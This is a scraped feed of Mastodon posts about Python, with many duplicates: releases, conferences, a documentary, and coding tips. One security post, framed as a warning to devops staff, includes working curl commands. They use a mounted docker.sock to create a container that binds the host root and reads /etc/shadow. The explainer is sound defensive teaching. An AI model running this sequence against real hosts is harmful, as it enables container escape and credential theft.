@15r10nk@fosstodon.org
I have great news for everyone who likes to fuzz Python code. pysource-codegen 0.7.1 and pysource-minimize 0.10.0 have been released. Both support Python 3.14 and can now also generate/minimize template strings. Feel free to give it a try.
uvx -p 3.14 pysource-codegen --root-node TemplateStr
https://github.com/15r10nk/pysource-minimize
@15r10nk@fosstodon.org
I have great news for everyone who likes to fuzz Python code. pysource-codegen 0.7.1 and pysource-minimize 0.10.0 have been released. Both support Python 3.14 and can now also generate/minimize template strings. Feel free to give it a try.
uvx -p 3.14 pysource-codegen --root-node TemplateStr
https://github.com/15r10nk/pysource-minimize
@feoh@oldbytes.space
You guys, I enjoyed the #python documentary so much! I loved every minute of it, and so did my non technical wife! Go watch it free here:
https://www.youtube.com/watch?v=GfH4QL4VqJ0
Also enjoyed seeing @nedbat get a juggling cameo and the nice shout out for #bostonpython !
My wife's review:
"What an amazing group of smart, funny, warm, entertaining people!"
Well said sweetie!
@feoh@oldbytes.space
You guys, I enjoyed the #python documentary so much! I loved every minute of it, and so did my non technical wife! Go watch it free here:
https://www.youtube.com/watch?v=GfH4QL4VqJ0
Also enjoyed seeing @nedbat get a juggling cameo and the nice shout out for #bostonpython !
My wife's review:
"What an amazing group of smart, funny, warm, entertaining people!"
Well said sweetie!
@ThePSF@fosstodon.org
The premiere of Python: The Documentary is starting in a few minutes 🎉🎉 join in to watch and connect with Pythonistas from around the world! #python
https://www.youtube.com/watch?v=GfH4QL4VqJ0
@scy@chaos.social
A #documentary about #Python just got released, and it's really good.
It talks about Python's origins, the founding of the PSF, the Python 2 to Python 3 transition, the struggle to increase diversity, Guido's resignation over the walrus operator, as well as Python's relevance as a language now and in the future.
@scy@chaos.social
A #documentary about #Python just got released, and it's really good.
It talks about Python's origins, the founding of the PSF, the Python 2 to Python 3 transition, the struggle to increase diversity, Guido's resignation over the walrus operator, as well as Python's relevance as a language now and in the future.
@mborus@mastodon.social
Just finished watching the live premiere of the #Python documentary.
If you're writing Python code, you can learn a lot about the history and people involved in making it possible.
@ThePSF@fosstodon.org
The premiere of Python: The Documentary is starting in a few minutes 🎉🎉 join in to watch and connect with Pythonistas from around the world! #python
https://www.youtube.com/watch?v=GfH4QL4VqJ0
@bterwijn@fosstodon.org
Visualize your Python data structure with just one click.
Linked List: https://memory-graph.com/#codeurl=https://raw.githubusercontent.com/bterwijn/memory_graph/refs/heads/main/src/linked_list.py×tep=0.2&play
@bterwijn@fosstodon.org
Visualize your Python data structure with just one click.
Linked List: https://memory-graph.com/#codeurl=https://raw.githubusercontent.com/bterwijn/memory_graph/refs/heads/main/src/linked_list.py×tep=0.2&play
@danzin@mastodon.social · Reply to pythonbrasil's post
@pythonbrasil Seria legal incluir as tags #python #pythonbrasil #pybr2025 nos toots para dar mais visibilidade. Bastante gente segue a #python e as outras facilitam na hora de encontrar os toots da comunidade junto com os da conta oficial.
Outro detalhe é que esse toot foi publicado como English, talvez Português dê um pouco mais de alcance porque algumas pessoas filtram por linguagem (imagino que muito poucas na comunidade Python).
@reynardsec@infosec.exchange
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.
ItSec (walking by): Guys... a quick test. From inside that container, run:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...
devops0: So what? What does it mean?
Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:
# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04
If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:
# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root
# apt update && apt install -y curl
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'
# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
From there, the attacker can shell in and operates on /host
(add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:
# Read /etc/shadow of Docker Host using only curl, step 1:
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'
# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'
Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock
or a TCP-exposed daemon).
And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.
[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/
Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956
#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js
@rzeta0@mathstodon.xyz
The Second Edition of
Make Your Own Mandelbrot
has a new chapter explaining the Distance Estimation Method which overcomes the loss of sub-pixel detail.
Check it out!
https://www.amazon.com/dp/B0CQS8JYJC
all the code is freely available:
https://github.com/makeyourownmandelbrot/Second_Edition
@villares@ciberlandia.pt
#Pyxel is a retro inspired #GameEngine for #Python, it's very impressive!
It's not hard to generate a static HTML page that loads your game to run on the browser with #pyodide (WASM). And it comes with an assets editor and a #chiptune making tool.
@villares@ciberlandia.pt
#Pyxel is a retro inspired #GameEngine for #Python, it's very impressive!
It's not hard to generate a static HTML page that loads your game to run on the browser with #pyodide (WASM). And it comes with an assets editor and a #chiptune making tool.
@sci_photos@troet.cafe · Reply to Robert Roskam's post
@raiderrobert I guess it's rather that I'm collecting new languages, depending on the problem at hand.
I.e. while I still do lots of #C coding for efficiency at runtime, now #Python is entering for efficiency during development time.
Then there is all that web stuff (#HTML, #CSS, #JS, and still #PHP as backend) for interactive display.
And since about five years Verilog for #FPGA programming.
I wouldn't call any of these a "permanent" change.
@danzin@mastodon.social
Que tal participar da Python Brasil 2025?
"""
Faltam dois meses para a Python Brasil! 🐍
A edição de 2025 será realizada em São Paulo de 21 a 27 de outubro!
Já reservou seu lugar?
https://pybr2025.eventbrite.com.br/
"""
Mesmo que não possa participar, siga a @pythonbrasil e dê boost nos toots para apoiar o evento. Mostre a força do fediverso na divulgação e conexão das comunidades técnicas/bamblers.
@ploneconf@plone.social
One Week Left: Call for Papers for the Plone Conference 2025!
Want to shape the future of Plone? 🚀
Submit your talk for the Plone Conference 2025!
📌 Formats: 25 or 45 min talks
🌍 All voices are welcome — from newcomers to experts
🗓 Deadline: August 31 (Anywhere on Earth)
👉 Don’t worry about a final draft! Share your ideas today, edit it later.
Submit now at https://2025.ploneconf.org/call-for-papers
#ploneconf2025 #Plone #Python #CallForPapers #OpenSource #Finland #Jyväskylä #Volto #React #AI
@ploneconf@plone.social
One Week Left: Call for Papers for the Plone Conference 2025!
Want to shape the future of Plone? 🚀
Submit your talk for the Plone Conference 2025!
📌 Formats: 25 or 45 min talks
🌍 All voices are welcome — from newcomers to experts
🗓 Deadline: August 31 (Anywhere on Earth)
👉 Don’t worry about a final draft! Share your ideas today, edit it later.
Submit now at https://2025.ploneconf.org/call-for-papers
#ploneconf2025 #Plone #Python #CallForPapers #OpenSource #Finland #Jyväskylä #Volto #React #AI
@syedamerofficial@mastodon.social
👋 Hello Mastodon! Excited to be here.
I’m a Data Science Expert specializing in Generative AI & Machine Learning. Skilled in Python, R, MySQL, Power BI & Analytics.
I’ll share insights, projects & discussions on AI, ML, Data Science & Visualization. Looking forward to connecting & learning with this community 🚀
#Introduction #NewHere #DataScience #MachineLearning #GenerativeAI #Python #RStats #AI #Analytics #BigData #PowerBI #Mastodon
@fl0und3r@defcon.social
So I've been playing around with the #geminiprotocol and it occurred to me that I don't actually know how #TLS works. I want to know if the stream is still encrypted even if I skip cert verification (I also can't seem figure out #TOFU in #python). I was able to snoop on the stream with netcat but not I'm not sure what I'm looking at, after all it is a binary payload. Is there a tool for talking tls or am I stuck reading the RFC and doing it by hand?
@meejah@mastodon.social · Reply to phildini's post
@phildini@wandering.shop
Hey #python folks -- what's everyone's favorite python profiling tools these days? My goal is to capture data during a run so I can shove it in a flamegraph and identify where the actual bottlenecks are.
Thanks!
@danzin@mastodon.social
Você faz parte de um grupo sub-representado e quer ir à Python Brasil 2025 mas a grana está curta? Tente participar do Programa de Auxílio Financeiro:
"""
Estão abertas as inscrições para o Programa de Auxílio Financeiro para Python Brasil 2025 que tem como objetivo beneficiar grupos historicamente sub-representados nas edições presenciais.
Inscreva-se até 27 de agosto.
"""
https://2025.pythonbrasil.org.br/viagem/programa-auxilio-financeiro
Os critérios de seleção estão em https://github.com/pythonbrasil/pybr2025-bolsa-viagem/blob/main/criterios_selecao_beneficiarias.md
@veit@mastodon.social
@pyohio@fosstodon.org
Can't wait for #PyOhio 2026? Throughout the year, there are many other regional #Python events you could try attending, so follow them for updates! If you've heard of other regional US conferences we should know about, please share them with us!
* PyBeach: @pybeach
* PyLadiesCon: @pyladiescon
* PyBay: @pybay
* PyCascades: @pycascades
* PyTexas: @pytexas
* North Bay Python: @NorthBayPython
@danzin@mastodon.social
Você faz parte de um grupo sub-representado e quer ir à Python Brasil 2025 mas a grana está curta? Tente participar do Programa de Auxílio Financeiro:
"""
Estão abertas as inscrições para o Programa de Auxílio Financeiro para Python Brasil 2025 que tem como objetivo beneficiar grupos historicamente sub-representados nas edições presenciais.
Inscreva-se até 27 de agosto.
"""
https://2025.pythonbrasil.org.br/viagem/programa-auxilio-financeiro
Os critérios de seleção estão em https://github.com/pythonbrasil/pybr2025-bolsa-viagem/blob/main/criterios_selecao_beneficiarias.md
@villares@pynews.com.br
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_08_20
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding #trimesh #shapely
@villares@pynews.com.br
Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_08_20
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding #trimesh #shapely
@glyph@mastodon.social · Reply to Glyph's post
Once again I demonstrate that I do not know how to use social media, not even Mastodon. Let me try that again properly with the relevant metadata: I have done my first post-ZeroVer release of #DBXS, an #OpenSource #Python raw #SQL #database access library. If that collection of hashtags seems interesting to you, perhaps check it out!
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
https://github.com/halcy/Mastodon.py/releases/tag/v2.1.2 uh oh, ANOTHER followup, this time courtesy of @Bfordham , which will make the module not be broken when using GTS
@bruno@rocha.social
@danzin@mastodon.social
Que tal ser pessoa voluntária na Python Brasil 2025 @pythonbrasil? Boosts são bem-vindos!
"""
A Python Brasil é feita pela comunidade de forma voluntária e precisamos da sua ajuda!
O evento está chegando em sua reta final: essa é a época que temos mais atividades a fazer e menos pessoas voluntárias.
https://forms.gle/WJevW9HHkBkwc3Qu7
"""
Grupos de trabalho:
- Comunicação
- Patrocínio
- Conteúdo
- Fornecedores
- Automações
- Evento Online
https://bsky.app/profile/pythonbrasil.bsky.social/post/3lwcosmxnva2d
@jovian34@social.linux.pizza
"How a Solo Hobbyist Learned to Love Testing"
My #PyOhio 2025 talk is now on YouTube! I show how using #pytest with a test-first process taught me how #Django turns a request into a response for my #iubase web app.
This was my first coding talk and a great experience. #python #testing
https://youtu.be/pFOY3uHYTEI?si=YcQV_PJqTttaYuRL
@jovian34@social.linux.pizza
"How a Solo Hobbyist Learned to Love Testing"
My #PyOhio 2025 talk is now on YouTube! I show how using #pytest with a test-first process taught me how #Django turns a request into a response for my #iubase web app.
This was my first coding talk and a great experience. #python #testing
https://youtu.be/pFOY3uHYTEI?si=YcQV_PJqTttaYuRL
@medianoche_org@mastodon.social
Did you miss the Mysterious Sticker during PyCon US? You can now solve it online (start at https://medianoche.org/mother-of-exiles) and figure out what it was all about! #python #pycon #pyconus
@pypi@fosstodon.org
PyPI now checks for expired domains to prevent domain resurrection attacks, a type of supply-chain attack where someone buys an expired domain and uses it to take over #PyPI accounts through password resets. #Python #OpenSource #SupplyChain #Security
https://blog.pypi.org/posts/2025-08-18-preventing-domain-resurrections/
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
And here is the instant followup version 2.1.1, mostly fixing some docs and type annotations:
* Changelog: https://github.com/halcy/Mastodon.py/releases/tag/v2.1.1
* Docs: https://mastodonpy.readthedocs.io/en/v2.1.1/
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
Well, I pushed through, here we are: Mastodon.py 2.1.0, with support for everything in Mastodon up to version 4.4.3, a bunch of new convenience methods, and some bugs fixed, is out! 🐍
Changelog: https://github.com/halcy/Mastodon.py/releases/tag/v2.1.0
Docs: https://mastodonpy.readthedocs.io/en/v2.1.0/
edit: Small instant bugfix update https://icosahedron.website/@halcy/115054560750838725
@glyph@mastodon.social
Okay so I am putatively a #Python #ThoughtLeader ™ so perhaps I should go through and give this a non-jokey read-through, and share some impressions: https://lp.jetbrains.com/python-developers-survey-2024/
I really appreciate that they do these every year.
@diazona@techhub.social · Reply to Glyph's post
@glyph @hynek it'd be interesting IMO to see the breakdown of how many people use YouTube by level of experience. My hypothesis is that there's a (positive) correlation between level of experience and preference for written documentation over video documentation - I think videos are reasonably well suited for tutorials (if you are the type of person who can learn from a video at all) but poorly suited for the reference documentation that more experienced devs are more likely to use.
@glyph@mastodon.social
Okay so I am putatively a #Python #ThoughtLeader ™ so perhaps I should go through and give this a non-jokey read-through, and share some impressions: https://lp.jetbrains.com/python-developers-survey-2024/
I really appreciate that they do these every year.
@doctorwhom@mastodon.social
In #python `python foo.py` gives a ModuleNotFoundError, but `python < foo.py` works. Am I going crazy?
@pypi@fosstodon.org
PyPI now checks for expired domains to prevent domain resurrection attacks, a type of supply-chain attack where someone buys an expired domain and uses it to take over #PyPI accounts through password resets. #Python #OpenSource #SupplyChain #Security
https://blog.pypi.org/posts/2025-08-18-preventing-domain-resurrections/
@pypi@fosstodon.org
PyPI now checks for expired domains to prevent domain resurrection attacks, a type of supply-chain attack where someone buys an expired domain and uses it to take over #PyPI accounts through password resets. #Python #OpenSource #SupplyChain #Security
https://blog.pypi.org/posts/2025-08-18-preventing-domain-resurrections/
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
Well, I pushed through, here we are: Mastodon.py 2.1.0, with support for everything in Mastodon up to version 4.4.3, a bunch of new convenience methods, and some bugs fixed, is out! 🐍
Changelog: https://github.com/halcy/Mastodon.py/releases/tag/v2.1.0
Docs: https://mastodonpy.readthedocs.io/en/v2.1.0/
edit: Small instant bugfix update https://icosahedron.website/@halcy/115054560750838725
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
Well, I pushed through, here we are: Mastodon.py 2.1.0, with support for everything in Mastodon up to version 4.4.3, a bunch of new convenience methods, and some bugs fixed, is out! 🐍
Changelog: https://github.com/halcy/Mastodon.py/releases/tag/v2.1.0
Docs: https://mastodonpy.readthedocs.io/en/v2.1.0/
edit: Small instant bugfix update https://icosahedron.website/@halcy/115054560750838725
@medianoche_org@mastodon.social
Did you miss the Mysterious Sticker during PyCon US? You can now solve it online (start at https://medianoche.org/mother-of-exiles) and figure out what it was all about! #python #pycon #pyconus
@ThePSF@fosstodon.org
The 2024 #Python Developers Survey results are here! 📊
Explore key trends, dig into the data, and share your insights using the hashtag #PythonDevSurvey 🐍 @jetbrains @pycharm
https://pyfound.blogspot.com/2025/08/the-2024-python-developer-survey.html
@ThePSF@fosstodon.org
The 2024 #Python Developers Survey results are here! 📊
Explore key trends, dig into the data, and share your insights using the hashtag #PythonDevSurvey 🐍 @jetbrains @pycharm
https://pyfound.blogspot.com/2025/08/the-2024-python-developer-survey.html
@raptor@infosec.exchange
@gyptazy@gyptazy.com
Running a single user (or small) instance in the Fediverse? Relay instances acting as a spreading proxy can help you to find your content and also to make your posts visible to others - and you can easily join with #Mastodon, #snac and many other ones!
The https://fedi-relay.gyptazy.com relay is mostly for tech related content and just got updates to the manpageblog design.
#mastodon #snac #relay #activitypub #fediverse #federated #bsd #devops #proxmox #ipv6 #opensource #community #debian #python
@gyptazy@gyptazy.com
Running a single user (or small) instance in the Fediverse? Relay instances acting as a spreading proxy can help you to find your content and also to make your posts visible to others - and you can easily join with #Mastodon, #snac and many other ones!
The https://fedi-relay.gyptazy.com relay is mostly for tech related content and just got updates to the manpageblog design.
#mastodon #snac #relay #activitypub #fediverse #federated #bsd #devops #proxmox #ipv6 #opensource #community #debian #python
@jason@toots.dgplug.org
@halcy@icosahedron.website · Reply to halcy :icosahedron:'s post
Well, I pushed through, here we are: Mastodon.py 2.1.0, with support for everything in Mastodon up to version 4.4.3, a bunch of new convenience methods, and some bugs fixed, is out! 🐍
Changelog: https://github.com/halcy/Mastodon.py/releases/tag/v2.1.0
Docs: https://mastodonpy.readthedocs.io/en/v2.1.0/
edit: Small instant bugfix update https://icosahedron.website/@halcy/115054560750838725
@gyptazy@gyptazy.com
Running a single user (or small) instance in the Fediverse? Relay instances acting as a spreading proxy can help you to find your content and also to make your posts visible to others - and you can easily join with #Mastodon, #snac and many other ones!
The https://fedi-relay.gyptazy.com relay is mostly for tech related content and just got updates to the manpageblog design.
#mastodon #snac #relay #activitypub #fediverse #federated #bsd #devops #proxmox #ipv6 #opensource #community #debian #python
@gyptazy@gyptazy.com
Running a single user (or small) instance in the Fediverse? Relay instances acting as a spreading proxy can help you to find your content and also to make your posts visible to others - and you can easily join with #Mastodon, #snac and many other ones!
The https://fedi-relay.gyptazy.com relay is mostly for tech related content and just got updates to the manpageblog design.
#mastodon #snac #relay #activitypub #fediverse #federated #bsd #devops #proxmox #ipv6 #opensource #community #debian #python
@prehnra@mastodon.social
A long-time client of mine is hiring: https://www.linkedin.com/jobs/view/4280977360/
It's a great team with great leaders.The role is continuing to build out their core APIs and fusing their different data sources into some consistent models.
@jason@toots.dgplug.org
@danzin@mastodon.social
Preparing a post about lafleur, the CPython JIT fuzzer I develop.
It has found 4 JIT crashes so far:
#136996: "JIT: `executor->vm_data.valid` assertion failure in `unlink_executor`".
#137007: "JIT: assertion failure in _PyObject_GC_UNTRACK".
#137728: "Assertion failure or `SystemError` in `_PyEval_EvalFrameDefault` in a JIT build".
#137762: "Assertion failure in `optimize_uops` in a JIT build".
Contributions welcome!
https://github.com/search?q=repo%3Apython%2Fcpython+lafleur&type=issues
@eulanov@m.eula.dev
【エヴァンゲリオン】ヤシマ作戦みたいな臨場感と緊張感があるタイマーアプリを作りたい #Python - Qiita https://qiita.com/Necoze/items/1b3ec72415dec3039304
ソースコードを見て悶絶した。なんでこれをGoogle先生はぼくのためだと言って拾ってきたんだい?
@villares@ciberlandia.pt
Galera, minha atividade aberta (presencial) de #Python no #SescAvPaulista está rolando às terças à tarde este semestre.
Todas as pessoas são bem-vindas, não precisa ter conhecimentos prévios, veja no link mais detalhes, um pouco do que vamos conversar (e tem alguns registros do que já conversamos):
@villares@ciberlandia.pt
Galera, minha atividade aberta (presencial) de #Python no #SescAvPaulista está rolando às terças à tarde este semestre.
Todas as pessoas são bem-vindas, não precisa ter conhecimentos prévios, veja no link mais detalhes, um pouco do que vamos conversar (e tem alguns registros do que já conversamos):
@bmispelon@mastodon.social
Am I the only one who didn't know that #Python list comprehensions (and presumably other types of comprehensions) can accept **multiple** conditional statements at the end?
[i for i in range(30) if i%2 if i%3 if i%5]
@prehnra@mastodon.social
A long-time client of mine is hiring: https://www.linkedin.com/jobs/view/4280977360/
It's a great team with great leaders.The role is continuing to build out their core APIs and fusing their different data sources into some consistent models.
@treyhunner@mastodon.social
I'm hosting office hours again in less than 12 hours. Have a question about #Python, Python Morsels, or anything else you think I might have thoughts on?
Join me!
@treyhunner@mastodon.social
I'm hosting office hours again in less than 12 hours. Have a question about #Python, Python Morsels, or anything else you think I might have thoughts on?
Join me!
@rzeta0@mathstodon.xyz
The Second Edition of
Make Your Own Mandelbrot
has a new chapter explaining the Distance Estimation Method which overcomes the loss of sub-pixel detail.
Check it out!
https://www.amazon.com/dp/B0CQS8JYJC
all the code is freely available:
https://github.com/makeyourownmandelbrot/Second_Edition
@villares@ciberlandia.pt
I have a #CreativeCoding course at Domestika, teaching the first steps of #Python and #py5. The feedback from students always makes me happy!
Check out this work by a student:
https://www.domestika.org/en/projects/1841169-programacion?ttag=a_b_a_villares
And other testimonials:
@villares@ciberlandia.pt
I have a #CreativeCoding course at Domestika, teaching the first steps of #Python and #py5. The feedback from students always makes me happy!
Check out this work by a student:
https://www.domestika.org/en/projects/1841169-programacion?ttag=a_b_a_villares
And other testimonials:
@nedbat@hachyderm.io
The pytest.mark.parametrize feature is amazing, and more people should use it, especially people new to writing #Python tests. But it looks scary. I wrote an explainer: https://nedbatchelder.com/blog/202508/starting_with_pytests_parametrize.html
@mahryekuh@hachyderm.io · Reply to Marijke Luttekes's post
As always, override defaults with caution:
1. Some packages, like Django, should be bound by minor instead of major versions.
2. Calendar versioning uses different logic, and I do not know how it plays with this setting.
3. Not every package needs an upper bound, especially when it constrains itself to another package that has been pinned (some Django extensions, for example).
4. The setting itself is in preview and may change its behavior at any time.
@mahryekuh@hachyderm.io
One of my UV gripes is that `uv add` doesn't set upper bounds to package version restrictions by default.
I prefer to pin packages within the current major range unless it's safe to drop the upper restrictions.
However, UV only provides a lower bound by default, unless you pass the `--bounds` flag to `uv add`.
Luckily, there is a setting under preview that changes the default behavior for all `add` commands: `add-bounds`.
Hello default "major" bounds option!
@djangonaut@indieweb.social
Session 5 is open to application 🥳
📆 Program duration:
from September 29th, 2025
to November 23rd, 2025
⌛ Application deadline:
September 14th, 2025
📚 Read more in our blog:
https://djangonaut.space/comms/2025/08/07/2025-opening-session-5/
@PyConUK@fosstodon.org
👾✨ Know a young person who’s curious about coding? ✨👨💻
On Saturday 20 Sept, PyCon UK 2025 is hosting a Young Coders’ Day alongside the main conference – a fun, hands-on intro to coding for people aged 8–16!
They’ll have the opportunity to 🎮 build games, 🎨 create art, 🛰️ code satellites, and share their projects with #PyConUK2025 attendees 🎉🐍
📅 Schedule: https://2025.pyconuk.org/schedule/
🎫 Tickets £9 (inc. accompanying adult): https://2025.pyconuk.org/tickets/
@PyConUK@fosstodon.org
👾✨ Know a young person who’s curious about coding? ✨👨💻
On Saturday 20 Sept, PyCon UK 2025 is hosting a Young Coders’ Day alongside the main conference – a fun, hands-on intro to coding for people aged 8–16!
They’ll have the opportunity to 🎮 build games, 🎨 create art, 🛰️ code satellites, and share their projects with #PyConUK2025 attendees 🎉🐍
📅 Schedule: https://2025.pyconuk.org/schedule/
🎫 Tickets £9 (inc. accompanying adult): https://2025.pyconuk.org/tickets/
@diazona@techhub.social · Reply to Frank Davies's post
@diazona@techhub.social · Reply to Frank Davies's post
@fd93@fosstodon.org
PSA: Python no longer behaves the same way in #Vercel Node 22.x images as it did in Node 18.x.
If you are using raw 'pip install -r requirements.txt' you'll need to switch over to 'source venv/bin/activate && pip install -r requirements.txt' or a similar pattern.
Took me a while to figure out last night.
@djangonaut@indieweb.social
Session 5 is open to application 🥳
📆 Program duration:
from September 29th, 2025
to November 23rd, 2025
⌛ Application deadline:
September 14th, 2025
📚 Read more in our blog:
https://djangonaut.space/comms/2025/08/07/2025-opening-session-5/
@willmcgugan@mastodon.social
I've been working on a process output widget for Toad. It can now handle color and other ANSI escape sequences.
The goal is to be able to embed process output that can handle progress bars and other fancier output from terminals.
Made good progress today. It can handle a colorful mandlebrot set! Once I talked the LLM in to it.
WDYT?
@willmcgugan@mastodon.social
I've been working on a process output widget for Toad. It can now handle color and other ANSI escape sequences.
The goal is to be able to embed process output that can handle progress bars and other fancier output from terminals.
Made good progress today. It can handle a colorful mandlebrot set! Once I talked the LLM in to it.
WDYT?
@benrutter@mastodon.green
I feel like pretty much every day, I'm glad a tool like coverage exists ☺️
@benrutter@mastodon.green
I feel like pretty much every day, I'm glad a tool like coverage exists ☺️
@alice@lgbtqia.space
I created a simple Python CLI program to easily add configurable watermark text to an image or directory of images.
Re: https://lgbtqia.space/@alice/114988947359085193
Here's the #Codeberg repo: https://codeberg.org/alicewatson/watermarker
@alice@lgbtqia.space
I created a simple Python CLI program to easily add configurable watermark text to an image or directory of images.
Re: https://lgbtqia.space/@alice/114988947359085193
Here's the #Codeberg repo: https://codeberg.org/alicewatson/watermarker
@glyph@mastodon.social
okay time for some niche #Python discourse:
The grants program pause is a good thing, actually. 🧵
@meejah@mastodon.social
Terminals, pseudoterminals, PTYs, oh my.
How does e.g. "tmux" do its "switch screen" stuff, and can I do it with #Python + Rich? I've found "pymux", which appears to be emulating vt100 in Python ... and then I guess re-rendering to the "real" screen? Is that what #tmux does (too much C for me to grok)?
There's also https://jvns.ca/blog/2025/06/24/new-zine--the-secret-rules-of-the-terminal/ from @b0rk which is great
@pawamoy@fosstodon.org
I find it cumbersome to type `help(`, then a symbol name, then `)` and enter to see help for this symbol, in a #Python interpreter.
So I added this to my `~/.pythonrc` file:
```python
import builtins
class _Help:
def __call__(self, o):
return builtins.help(o)
def __truediv__(self, o):
return builtins.help(o)
def __rtruediv__(self, o):
return builtins.help(o)
help = _Help()
```
...which lets me type `name / help` or `help / name` 😄
@pawamoy@fosstodon.org
I find it cumbersome to type `help(`, then a symbol name, then `)` and enter to see help for this symbol, in a #Python interpreter.
So I added this to my `~/.pythonrc` file:
```python
import builtins
class _Help:
def __call__(self, o):
return builtins.help(o)
def __truediv__(self, o):
return builtins.help(o)
def __rtruediv__(self, o):
return builtins.help(o)
help = _Help()
```
...which lets me type `name / help` or `help / name` 😄
@villares@ciberlandia.pt
Updating my #Processing + #Python tools table:
After some years, things changed and my opinions changed a bit too:
#py5 is going super strong and the "new snake_case names" are not an issue for me anymore. I used to worry a lot about all the Processing Python mode examples and teaching materials out there, and some of my own, with "CamelCase Processing names" I'm not worried at all about it anymore!
For the record, Processing Python mode is just a legacy thing, no one should start anything new with it.
The great "pure Python" (no Java required) Processing implementation project #p5py seems stalled, latest release in Dec. 2023 :((( Advancing it was always going to be an uphill battle...
The unrelated #Brython based site p5py.com
seems to be gone, so I removed it from the table.
I added a link to my own #pyp5js hack py5pjs/py5mode because this is the version of pyp5js I'm using most nowadays.
@villares@ciberlandia.pt
Updating my #Processing + #Python tools table:
After some years, things changed and my opinions changed a bit too:
#py5 is going super strong and the "new snake_case names" are not an issue for me anymore. I used to worry a lot about all the Processing Python mode examples and teaching materials out there, and some of my own, with "CamelCase Processing names" I'm not worried at all about it anymore!
For the record, Processing Python mode is just a legacy thing, no one should start anything new with it.
The great "pure Python" (no Java required) Processing implementation project #p5py seems stalled, latest release in Dec. 2023 :((( Advancing it was always going to be an uphill battle...
The unrelated #Brython based site p5py.com
seems to be gone, so I removed it from the table.
I added a link to my own #pyp5js hack py5pjs/py5mode because this is the version of pyp5js I'm using most nowadays.
@treyhunner@mastodon.social
Do you use PDF, epub, or other downloadable #Python documentation? Or do you only use the web docs?
The core team are trying to decide whether it's worth keeping various non-HTML builds (which are often slow to build).
https://discuss.python.org/t/removing-non-html-pdf-epub-etc-documentation-downloads/101343
@hugovk@mastodon.social
Python 3.13.6 has been released:
"Python 3.13 is the newest major release of the Python programming language, and it contains many new features and optimizations compared to Python 3.12. 3.13.6 is the sixth maintenance release of 3.13, containing around 200 bugfixes, build improvements and documentation changes since 3.13.5."
https://discuss.python.org/t/python-3-13-6-has-been-released/101482
@hugovk@mastodon.social
Python 3.13.6 has been released:
"Python 3.13 is the newest major release of the Python programming language, and it contains many new features and optimizations compared to Python 3.12. 3.13.6 is the sixth maintenance release of 3.13, containing around 200 bugfixes, build improvements and documentation changes since 3.13.5."
https://discuss.python.org/t/python-3-13-6-has-been-released/101482
@ubernostrum@infosec.exchange
@danzin@mastodon.social
Sabe quem foi na #PythonCerrado2025 e apresentou uma palestra? Pedro, meu filho de 11 anos!
Tive que ajudar numa parte porque não tivemos tempo para ensaiar: o que seria uma palestra relâmpago foi promovida a palestra normal antes de ele treinar a parte que acabei apresentando.
5 minutos depois da palestra, ele tranquilão: "pai , você ainda está tremendo!".
@nedbat@hachyderm.io
Latest critical update to the #Python docs: https://github.com/python/cpython/pull/137430/files
(add "dunder" and "walrus" to the Glossary)
@treyhunner@mastodon.social
Do you use PDF, epub, or other downloadable #Python documentation? Or do you only use the web docs?
The core team are trying to decide whether it's worth keeping various non-HTML builds (which are often slow to build).
https://discuss.python.org/t/removing-non-html-pdf-epub-etc-documentation-downloads/101343
@treyhunner@mastodon.social
Do you use PDF, epub, or other downloadable #Python documentation? Or do you only use the web docs?
The core team are trying to decide whether it's worth keeping various non-HTML builds (which are often slow to build).
